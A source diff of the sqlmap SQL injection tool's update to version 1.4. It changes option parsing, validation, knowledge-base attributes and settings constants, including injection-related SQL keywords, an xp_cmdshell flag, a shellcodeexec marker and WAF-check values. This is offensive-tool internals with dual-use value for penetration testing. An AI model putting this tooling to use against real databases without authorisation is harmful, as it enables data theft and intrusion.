         if not re.search(r"\A\w+://", conf.url):
             conf.url = "http://%s" % conf.url
 
@@ -1608,16 +1628,13 @@ def _cleanupOptions():
     if conf.fileDest:
         conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
 
-    if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
-        conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
-
     if conf.msfPath:
         conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
 
     if conf.tmpPath:
         conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
 
-    if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)):
+    if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
         conf.multipleTargets = True
 
     if conf.optimize:
@@ -1725,10 +1742,22 @@ def _cleanupOptions():
         conf.col = re.sub(r"\s*,\s*", ',', conf.col)
 
     if conf.exclude:
-        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
+        regex = False
+        if any(_ in conf.exclude for _ in ('+', '*')):
+            try:
+                re.compile(conf.exclude)
+            except re.error:
+                pass
+            else:
+                regex = True
+
+        if not regex:
+            conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
+            conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
 
     if conf.binaryFields:
-        conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
+        conf.binaryFields = conf.binaryFields.replace(" ", "")
+        conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
 
     if any((conf.proxy, conf.proxyFile, conf.tor)):
         conf.disablePrecon = True
@@ -1788,7 +1817,6 @@ def _setConfAttributes():
     conf.path = None
     conf.port = None
     conf.proxyList = None
-    conf.resultsFilename = None
     conf.resultsFP = None
     conf.scheme = None
     conf.tests = []
@@ -1856,6 +1884,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
 
     kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
     kb.dep = None
+    kb.disableHtmlDecoding = False
     kb.dnsMode = False
     kb.dnsTest = None
     kb.docRoot = None
@@ -1875,16 +1904,18 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.followSitemapRecursion = None
     kb.forcedDbms = None
     kb.forcePartialUnion = False
+    kb.forceThreads = None
     kb.forceWhere = None
     kb.futileUnion = None
     kb.heavilyDynamic = False
+    kb.headersFile = None
     kb.headersFp = {}
     kb.heuristicDbms = None
     kb.heuristicExtendedDbms = None
     kb.heuristicMode = False
     kb.heuristicPage = False
     kb.heuristicTest = None
-    kb.hintValue = None
+    kb.hintValue = ""
     kb.htmlFp = []
     kb.httpErrorCodes = {}
     kb.inferenceMode = False
@@ -1896,14 +1927,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.injections = []
     kb.laggingChecked = False
     kb.lastParserStatus = None
+    kb.lastCtrlCTime = None
 
     kb.locks = AttribDict()
-    for _ in ("cache", "connError", "count", "handlers", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
         kb.locks[_] = threading.Lock()
 
     kb.matchRatio = None
     kb.maxConnectionsFlag = False
     kb.mergeCookies = None
+    kb.multipleCtrlC = False
     kb.negativeLogic = False
     kb.nullConnection = None
     kb.oldMsf = None
@@ -1936,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.processUserMarks = None
     kb.proxyAuthHeader = None
     kb.queryCounter = 0
+    kb.randomPool = {}
     kb.redirectChoice = None
     kb.reflectiveMechanism = True
     kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
@@ -1957,7 +1991,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.reduceTests = None
     kb.tlsSNI = {}
     kb.stickyDBMS = False
-    kb.storeCrawlingChoice = None
     kb.storeHashesChoice = None
     kb.suppressResumeInfo = False
     kb.tableFrom = None
@@ -1971,16 +2004,21 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.threadException = False
     kb.tableExistsChoice = None
     kb.uChar = NULL
+    kb.udfFail = False
     kb.unionDuplicates = False
+    kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
 
     if flushAll:
+        kb.checkSitemap = None
         kb.headerPaths = {}
         kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
+        kb.normalizeCrawlingChoice = None
         kb.passwordMgr = None
         kb.preprocessFunctions = []
         kb.skipVulnHost = None
+        kb.storeCrawlingChoice = None
         kb.tamperFunctions = []
         kb.targets = OrderedSet()
         kb.testedParams = set()
@@ -2169,6 +2207,13 @@ def _mergeOptions(inputOptions, overrideOptions):
         if hasattr(conf, key) and conf[key] is None:
             conf[key] = value
 
+            if conf.unstable:
+                if key in ("timeSec", "retries", "timeout"):
+                    conf[key] *= 2
+
+    if conf.unstable:
+        conf.forcePartial = True
+
     lut = {}
     for group in optDict.keys():
         lut.update((_.upper(), _) for _ in optDict[group])
@@ -2414,6 +2459,17 @@ def _basicOptionValidation():
             errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
             raise SqlmapSyntaxException(errMsg)
 
+    if conf.paramExclude:
+        try:
+            re.compile(conf.paramExclude)
+        except Exception as ex:
+            errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
+            raise SqlmapSyntaxException(errMsg)
+
+    if conf.cookieDel and len(conf.cookieDel):
+        errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.crawlExclude:
         try:
             re.compile(conf.crawlExclude)
@@ -2421,6 +2477,13 @@ def _basicOptionValidation():
             errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
             raise SqlmapSyntaxException(errMsg)
 
+    if conf.scope:
+        try:
+            re.compile(conf.scope)
+        except Exception as ex:
+            errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
+            raise SqlmapSyntaxException(errMsg)
+
     if conf.dumpTable and conf.dumpAll:
         errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
         raise SqlmapSyntaxException(errMsg)
@@ -2433,8 +2496,8 @@ def _basicOptionValidation():
         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)):
-        errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'"
+    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
+        errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.crawlExclude and not conf.crawlDepth:
@@ -2457,6 +2520,10 @@ def _basicOptionValidation():
         errMsg = "option '--csrf-url' requires usage of option '--csrf-token'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.csrfMethod and not conf.csrfToken:
+        errMsg = "option '--csrf-method' requires usage of option '--csrf-token'"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.csrfToken and conf.threads > 1:
         errMsg = "option '--csrf-url' is incompatible with option '--threads'"
         raise SqlmapSyntaxException(errMsg)
@@ -2473,7 +2540,7 @@ def _basicOptionValidation():
         errMsg = "option '-d' is incompatible with switch '--tor'"
         raise SqlmapSyntaxException(errMsg)
 
-    if not conf.tech:
+    if not conf.technique:
         errMsg = "option '--technique' can't be empty"
         raise SqlmapSyntaxException(errMsg)
 
@@ -2523,6 +2590,10 @@ def _basicOptionValidation():
         errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.alert and conf.alert.startswith('-'):
+        errMsg = "value for option '--alert' must be valid operating system command(s)"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.timeSec < 1:
         errMsg = "value for option '--time-sec' must be a positive integer"
         raise SqlmapSyntaxException(errMsg)
@@ -2531,7 +2602,7 @@ def _basicOptionValidation():
         errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
+    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
         errMsg = "option '--crack' should be used as a standalone"
         raise SqlmapSyntaxException(errMsg)
 
@@ -2598,7 +2669,7 @@ def init():
 
     parseTargetDirect()
 
-    if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
+    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
         _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
@@ -2613,7 +2684,6 @@ def init():
         _setSafeVisit()
         _doSearch()
         _setBulkMultipleTargets()
-        _setSitemapTargets()
         _checkTor()
         _setCrawler()
         _findPageForms()

lib/core/optiondict.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -19,7 +19,6 @@ optDict = {
         "sessionFile": "string",
         "googleDork": "string",
         "configFile": "string",
-        "sitemapUrl": "string",
     },
 
     "Request": {
@@ -31,6 +30,7 @@ optDict = {
         "loadCookies": "string",
         "dropSetCookie": "boolean",
         "agent": "string",
+        "mobile": "boolean",
         "randomAgent": "boolean",
         "host": "string",
         "referer": "string",
@@ -38,7 +38,7 @@ optDict = {
         "authType": "string",
         "authCred": "string",
         "authFile": "string",
-        "ignoreCode": "integer",
+        "ignoreCode": "string",
         "ignoreProxy": "boolean",
         "ignoreRedirects": "boolean",
         "ignoreTimeouts": "boolean",
@@ -60,6 +60,7 @@ optDict = {
         "skipUrlEncode": "boolean",
         "csrfToken": "string",
         "csrfUrl": "string",
+        "csrfMethod": "string",
         "forceSSL": "boolean",
         "chunked": "boolean",
         "hpp": "boolean",
@@ -100,12 +101,13 @@ optDict = {
         "notString": "string",
         "regexp": "string",
         "code": "integer",
+        "smart": "boolean",
         "textOnly": "boolean",
         "titles": "boolean",
     },
 
     "Techniques": {
-        "tech": "string",
+        "technique": "string",
         "timeSec": "integer",
         "uCols": "string",
         "uChar": "string",
@@ -160,6 +162,7 @@ optDict = {
     "Brute": {
         "commonTables": "boolean",
         "commonColumns": "boolean",
+        "commonFiles": "boolean",
     },
 
     "User-defined function": {
@@ -196,10 +199,12 @@ optDict = {
 
     "General": {
         "trafficFile": "string",
+        "answers": "string",
         "batch": "boolean",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",
+        "cleanup": "boolean",
         "crawlDepth": "integer",
         "crawlExclude": "string",
         "csvDel": "string",
@@ -209,6 +214,7 @@ optDict = {
         "flushSession": "boolean",
         "forms": "boolean",
         "freshQueries": "boolean",
+        "googlePage": "integer",
         "harFile": "string",
         "hexConvert": "boolean",
         "outputDir": "string",
@@ -217,27 +223,24 @@ optDict = {
         "repair": "boolean",
         "saveConfig": "string",
         "scope": "string",
+        "skipWaf": "boolean",
         "testFilter": "string",
         "testSkip": "string",
-        "updateAll": "boolean",
+        "webRoot": "string",
     },
 
     "Miscellaneous": {
         "alert": "string",
-        "answers": "string",
         "beep": "boolean",
-        "cleanup": "boolean",
         "dependencies": "boolean",
         "disableColoring": "boolean",
-        "googlePage": "integer",
         "listTampers": "boolean",
-        "mobile": "boolean",
         "offline": "boolean",
         "purge": "boolean",
-        "skipWaf": "boolean",
-        "smart": "boolean",
+        "resultsFile": "string",
         "tmpDir": "string",
-        "webRoot": "string",
+        "unstable": "boolean",
+        "updateAll": "boolean",
         "wizard": "boolean",
         "verbose": "integer",
     },

lib/core/patch.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -9,27 +9,27 @@ import codecs
 
 import lib.controller.checks
 import lib.core.common
-import lib.core.threads
 import lib.core.convert
 import lib.core.option
+import lib.core.threads
 import lib.request.connect
 import lib.utils.search
 import lib.utils.sqlalchemy
 import thirdparty.ansistrm.ansistrm
 import thirdparty.chardet.universaldetector
 
-from lib.request.templates import getPageTemplate
-
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
+from lib.core.common import isDigit
 from lib.core.common import isListLike
-from lib.core.common import singleTimeWarnMessage
 from lib.core.common import readInput
 from lib.core.common import shellExec
+from lib.core.common import singleTimeWarnMessage
 from lib.core.convert import stdoutEncode
 from lib.core.option import _setHTTPHandlers
 from lib.core.option import setVerbosity
 from lib.core.settings import IS_WIN
+from lib.request.templates import getPageTemplate
 from thirdparty.six.moves import http_client as _http_client
 
 def dirtyPatches():
@@ -63,6 +63,7 @@ def resolveCrossReferences():
     Place for cross-reference resolution
     """
 
+    lib.core.threads.isDigit = isDigit
     lib.core.threads.readInput = readInput
     lib.core.common.getPageTemplate = getPageTemplate
     lib.core.convert.filterNone = filterNone

lib/core/profiling.py

@@ -1,13 +1,13 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 import codecs
-import os
 import cProfile
+import os
 
 from lib.core.common import getSafeExString
 from lib.core.data import logger
@@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
         import pydot
     except ImportError as ex:
         errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
-        errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
+        errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')"
         logger.error(errMsg)
 
         return
@@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
         pydotGraph.write_png(imageOutputFile)
     except OSError:
         errMsg = "profiling requires graphviz installed "
-        errMsg += "(Hint: 'sudo apt-get install graphviz')"
+        errMsg += "(Hint: 'sudo apt install graphviz')"
         logger.error(errMsg)
     else:
         infoMsg = "displaying interactive graph with xdot library"

lib/core/readlineng.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/replication.py

@@ -1,19 +1,19 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 import sqlite3
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import getSafeExString
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import UNICODE_ENCODING
+from lib.utils.safe2bin import safechardecode
 
 class Replication(object):
     """

lib/core/revision.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -38,11 +38,16 @@ def getRevisionNumber():
     while True:
         if filePath and os.path.isfile(filePath):
             with openFile(filePath, "r") as f:
-                content = f.read()
+                content = getText(f.read())
                 filePath = None
+
                 if content.startswith("ref: "):
-                    filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
-                else:
+                    try:
+                        filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
+                    except UnicodeError:
+                        pass
+
+                if filePath is None:
                     match = re.match(r"(?i)[0-9a-f]{32}", content)
                     retVal = match.group(0) if match else None
                     break

lib/core/session.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/settings.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.3.6.0"
+VERSION = "1.4"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
 GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
 ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
 
 # colorful banner
@@ -46,10 +47,10 @@ DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9
 
 # Ratio used in heuristic check for WAF/IPS protected targets
-IDS_WAF_CHECK_RATIO = 0.5
+IPS_WAF_CHECK_RATIO = 0.5
 
 # Timeout used in heuristic check for WAF/IPS protected targets
-IDS_WAF_CHECK_TIMEOUT = 10
+IPS_WAF_CHECK_TIMEOUT = 10
 
 # Lower and upper values for match ratio in case of stable page
 LOWER_RATIO_BOUND = 0.02
@@ -231,6 +232,9 @@ STDIN_PIPE_DASH = '-'
 # URL used in dummy runs
 DUMMY_URL = "http://foo/bar?id=1"
 
+# Timeout used during initial websocket (pull) testing
+WEBSOCKET_INITIAL_TIMEOUT = 3
+
 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
 PLATFORM = os.name
 PYVERSION = sys.version.split()[0]
@@ -240,10 +244,10 @@ IS_WIN = PLATFORM == "nt"
 IS_TTY = os.isatty(sys.stdout.fileno())
 
 # DBMS system databases
-MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
+MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
+ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -251,7 +255,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
-H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -296,7 +300,7 @@ BASIC_HELP_ITEMS = (
     "dbms",
     "level",
     "risk",
-    "tech",
+    "technique",
     "getAll",
     "getBanner",
     "getCurrentUser",
@@ -333,6 +337,9 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"
 
+# String representation for current user
+CURRENT_USER = "CU"
+
 # Name of SQLite file used for storing session data
 SESSION_SQLITE_FILE = "session.sqlite"
 
@@ -357,7 +364,10 @@ ERROR_PARSING_REGEXES = (
 META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
 
 # Regular expression used for parsing refresh info from meta html headers
-META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>'
+META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
+
+# Regular expression used for parsing Javascript redirect request
+JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
 
 # Regular expression used for parsing empty fields in tested form data
 EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
@@ -375,7 +385,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
 BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
 
 # Regex used for parsing XML Burp saved history items
-BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
+BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
 
 # Encoding used for Unicode data
 UNICODE_ENCODING = "utf8"
@@ -410,6 +420,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
 # Character used for marking injectable position inside provided data
 CUSTOM_INJECTION_MARK_CHAR = '*'
 
+# Wildcard value that can be used in option --ignore-code
+IGNORE_CODE_WILDCARD = '*'
+
 # Other way to declare injection position
 INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
 
@@ -420,7 +433,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
 MAX_ERROR_CHUNK_LENGTH = 1024
 
 # Do not escape the injected statement if it contains any of the following SQL keywords
-EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
+EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
 
 # Mark used for replacement of reflected values
 REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
@@ -500,6 +513,9 @@ DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
 # Percentage below which comparison engine could have problems
 LOW_TEXT_PERCENT = 20
 
+# Auxiliary value used in isDBMSVersionAtLeast() version comparison correction cases
+VERSION_COMPARISON_CORRECTION = 0.0001
+
 # These MySQL keywords can't go (alone) into versioned comment form (/*!...*/)
 # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
 IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
@@ -537,11 +553,14 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 
 # Data inside shellcodeexec to be filled with random string
-SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
+SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
 # Period after last-update to start nagging about the old revision
 LAST_UPDATE_NAGGING_DAYS = 60
 
+# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
+MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
+
 # Generic address for checking the Internet connection while using switch --check-internet
 CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
 
@@ -585,6 +604,9 @@ PARSE_HEADERS_LIMIT = 3
 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
 ORDER_BY_STEP = 10
 
+# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
+ORDER_BY_MAX = 1000
+
 # Maximum number of times for revalidation of a character in inference (as required)
 MAX_REVALIDATION_STEPS = 5
 
@@ -648,6 +670,9 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
 MAX_TOTAL_REDIRECTIONS = 10
 
+# Maximum (deliberate) delay used in page stability check
+MAX_STABILITY_DELAY = 0.5
+
 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
 MAX_DNS_LABEL = 63
 
@@ -669,8 +694,8 @@ FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 
-# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
-MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
+# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
+MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
 
